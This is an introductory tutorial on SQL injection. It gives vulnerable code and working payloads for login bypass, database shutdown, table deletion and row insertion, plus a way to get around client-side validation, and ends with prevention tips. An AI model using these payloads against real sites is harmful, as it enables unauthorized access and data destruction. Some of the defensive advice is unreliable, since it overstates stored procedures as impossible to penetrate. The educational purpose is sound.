SQL Injection for newbie

SQL injection is a security vulnerability that occurs in a database layer of an application. It is technique to inject SQL query/command as an input via web pages. Sometimes we accept input from the web user and pass that input as parameter to construct a database query dynamically in the backend to perform search operation in database. Here the question of SQL injection comes. A intelligently crafted input may produce a result that the application is not supposed to do.

First we need to identify the possible area in an application where SQL can be injected. The area may be login page, search field, feedback, URL of the page (in case of GET request) etc.

Let us discuss it with examples.

Log in page : In this page there are two fields, username and password. User will give her login credentials and gain access to her account. Imagine situation where anybody can have access to other's account with out proper user credentials. Yes, this is possible if the programmer do not take care about it.

The most crucial part of the code for login page is

```
string sql = "select * from User_login where username= ' "+username+" ' and password= ' "+password+" ' "
```

User_login is the name of the table in the database where username and password are stored.

I am giving here the different situation with SQL injection attacks using username and password field.

Situation 1 : The log in page uses POST method to submit the data to server and there is no client or server side validation.

Inputs : Username : hi' or 1=1;--
Password : < As you wish >

Behind the sense : select * from User_login where username = 'hi' or 1=1;-- and password = ' < As you wish >'
The query portion in blue will be operational and rest part of the query is commented using "- -" (marked in red).This convention is used through out the article.

Result : Successful log in into someone's account.

Reason : Since "1=1" is always true and OR is used , the query always return some record. Hence successful log in.

Situation 2: The log in page uses POST method to submit the data to server and there is client side validation (using java script) but no server side validation is done. Now the job is little bit

difficult but possible. You have to see the source code of the log in page and manipulate the source code .

Most important part of source code : The coding part inside form tag.

< form id= “from_login” method= “post” action = “ /abc/ login.asp” >
<table>
<tr >
 <td> Username : </td>
```
 <td> <input type="text" id="login-username" name="user_id" maxlength="255"/>
 </td>
</tr>
<tr>
  <td> Password : </td>
  <td> <input type="password" id="login-password" name="passwd"
maxlength="32" /></td>
</tr>
<tr>
  <td><input type="submit" id="login-submit" class="button" name="submit"
value="Login" onclick= “Login_validate()” language= “javascript”/> </td>
</tr>
</table>
</form>
```

We are interested in “action” attribute of from tag and “onclick” attribute of the submit button. It may be the other attributes used to call java script functions. Our main intension is to bypass the client side validation (java script) and submit the form.

Manipulation of source code : Save the source code in your local computer with a name say “login.html”. Now edit action attribute and delete onclick like below. Save the form.

< form id= “from_login” method= “post” action = “ http://example/abc/ login.asp” >
<table>
<tr >
 <td> Username : </td>
```
 <td> <input type="text" id="login-username" name="user_id" maxlength="255"
value=“hi’ or 1=1;--“ />
 </td>
</tr>
<tr>
  <td> Password : </td>
  <td> <input type="password" id="login-password" name="passwd"
maxlength="32" value=  “<As you wish>”/></td>
</tr>
<tr>
  <td><input type="submit" id="login-submit" class="button" name="submit"
value="Login" /></td>
</tr>
</table>
</form>
```

Open the page from local drive and click submit.

Behind the sense : `select * from User_login where username = 'hi' or 1=1;-- and password= ' < As  you wish >'`

Result : Successful log in.

Reason : Again SQL injection but bypassing the client side validation.

Search field : The query related to the search field is most likely to be like following.

String sql = "select * from Product where product_name like '" + product_name + "%'" ' "

Input_1 : ' ; SHUTDOWN;--
Input_2 : ' ; +SHUTDOWN;--

Behind the sense : select * from Product where product_name like ' ' ;SHUTDOWN;-- %'

Result : The remote database will shutdown.

Reason : SHUTDOWN is a database command and we are trying to insert that to shutdown the database from remote computer. Sometimes Input_1 do not work , then you should try Input_2. Search engine generally tokenize input into separate pieces to process them as individual criteria. " + " character typically force a search engine to treat input as one keyword, so the Input_2 works. Some databases provide the privilege to fire two back to back query . Here we exploit that privilege and insert the SHUTDOWN command. This attack is called Denial of Service (DoS).

User FeedBack Field : If you know the table structure and the datatype of individual field of table then it is possible to insert a row in that table. By producing database error message it is possible to know the table details. Let's not get into that. Here we assume that you already know the data schema.

Input : Hi I am here); insert into Table_Name (field_1,field_2,field_3,Field_4) values (' values in field_1', ' values in field_2', ' values in field_3', ' values in field_4');--

Result : One row is added to the table.

Reason : Again we are firing two back to back query.

NOTE : To know the data schema , a series of Sql injection is required . If you are interested to know the attacks ,you can read my another article "Exposed SQL Server Error Messages -- Food for Hackers" in Stickymind.com with URL

http://www.stickyminds.com/s.asp?F=S11795_ART_2

Email Password field (forgot password) : This field is used to email the password of the user. Generally this facility is given with the "forgot password" link. Let's see how can we use this field for SQL injection attack.

String sql = "select user_name,password from Login_details where email_id = ' "+email_id+ " ' "

Input_1: hi' or 1=1;--

Behind the sense : select user_name, password from Login_details where email_id = 'hi' or 1=1;-- < something >

Result : Log in details is send to the random.user@example.com and someone in this world will rise her voice.

Reason : Since the clause " 1=1 " is always true, the query will return a random record from the database.

Input_2 : hi' ; Drop table Table_Name ;--

Behind the sense : select user_name, password from Login_details where email_id = 'hi' ; Drop table Table_Name ;-- <something>

Result : The table "Table_Name" is deleted from the database ☹

Reason : Table is dropped due to second query.

SQL injection using URL : If you can't find any such fields (above mentioned) then concentrate on the URL . Some application uses GET method to submit the data and the data is directly append at the end of the URL along with the name of the parameter. Here is an example of URL when searching for product of category toy.

http://example/products/search.asp?product_name = toy
The associated query is :

String sql = "select * from Product where product_name like '" + product_name + "%'" ' "

Manipulated URL : http://example/products/search.asp?product_name = toy' or 1=1

Behind the sense : select * from products where product_name like 'toy' or 1=1 -- % '

Result : All the product will be listed.

Reason : Since clause "1=1" is always true and OR is used , the query returns all the records.

There is no hard and fast rule that a particular type of SQL injection attacks only work with a particular field in a web application. If you find a single sql injection vulnerable field then you may be able to execute different sql injection attack using that field. One thing we must keep in our mind that sql injection is all about the manipulation of database query from the font end and execute it.

Now let's see how can we prevent SQL Injection.

Recommended Preventive Action :

1. Assume all end-user input is hostile.

2. Turn off the detailed error messaging. Less information might make the job of The hacker a bit harder.

3. Maintain a customized error page though it is not a permanent solution .

4. Don't forget to remove the debugging information (comments) before release.

5. Replace the input single quote

6. Allow only good inputs and minimize the input data length.

7. Don't depends on the client side validation. Client side validation can be bypassed.

8. Limit the right of database user that the web application uses.

9. Write store procedure instead of inline SQL statement and store it in database server. But writing store procedure for every sql statement may not be feasible. If you are using JSP, use PreparedStatement. Both store procedure and PreparedStatement are precompiled and hence impossible to penetrate.

10. Keep an open eye to the new types of SQL Injection attacks .

Prepared By
Sandipan Pramanik
Mindfire Solutions
(www.mindfiresolutions.com)